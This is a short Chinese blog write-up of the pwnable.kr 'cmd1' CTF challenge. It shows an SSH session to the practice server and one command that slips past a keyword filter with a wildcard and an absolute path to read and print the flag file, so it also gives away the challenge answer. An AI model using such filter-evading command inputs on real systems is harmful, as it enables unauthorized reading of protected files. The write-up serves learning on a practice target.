PWN cmd1 [pwnable.kr]CTF writeup题解系列11

最新推荐文章于 2020-01-06 21:23:57 发布

3riC5r

最新推荐文章于 2020-01-06 21:23:57 发布

阅读量366

点赞数

分类专栏： pwnable.kr CTF 文章标签： ctf pwn

本文链接：https://blog.youkuaiyun.com/fastergohome/article/details/103798952

版权

CTF 同时被 2 个专栏收录

46 篇文章

订阅专栏

pwnable.kr

16 篇文章

订阅专栏

通过一个简单的CTF题目，深入解析PATH环境变量的作用及其在系统中如何帮助定位和执行命令。文章详细介绍了通过调整PATH，可以改变系统查找命令的路径顺序，从而实现特定的功能或修复系统错误。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

太简单的一道题目了，直接给题解

root@mypwn:/ctf/work/pwnable.kr# ssh cmd1@pwnable.kr -p2222
cmd1@pwnable.kr's password: 
 ____  __    __  ____    ____  ____   _        ___      __  _  ____  
|    \|  |__|  ||    \  /    ||    \ | |      /  _]    |  |/ ]|    \ 
|  o  )  |  |  ||  _  ||  o  ||  o  )| |     /  [_     |  ' / |  D  )
|   _/|  |  |  ||  |  ||     ||     || |___ |    _]    |    \ |    / 
|  |  |  `  '  ||  |  ||  _  ||  O  ||     ||   [_  __ |     \|    \ 
|  |   \      / |  |  ||  |  ||     ||     ||     ||  ||  .  ||  .  \
|__|    \_/\_/  |__|__||__|__||_____||_____||_____||__||__|\_||__|\_|
                                                                     
- Site admin : daehee87@gatech.edu
- IRC : irc.netgarage.org:6667 / #pwnable.kr
- Simply type "irssi" command to join IRC now
- files under /tmp can be erased anytime. make your directory under /tmp
- to use peda, issue `source /usr/share/peda/peda.py` in gdb terminal
Last login: Wed Jan  1 20:02:21 2020 from 120.84.12.64
cmd1@prowl:~$ ./cmd1 '/bin/cat /home/cmd1/fla*'
mommy now I get what PATH environment is for :)
cmd1@prowl:~$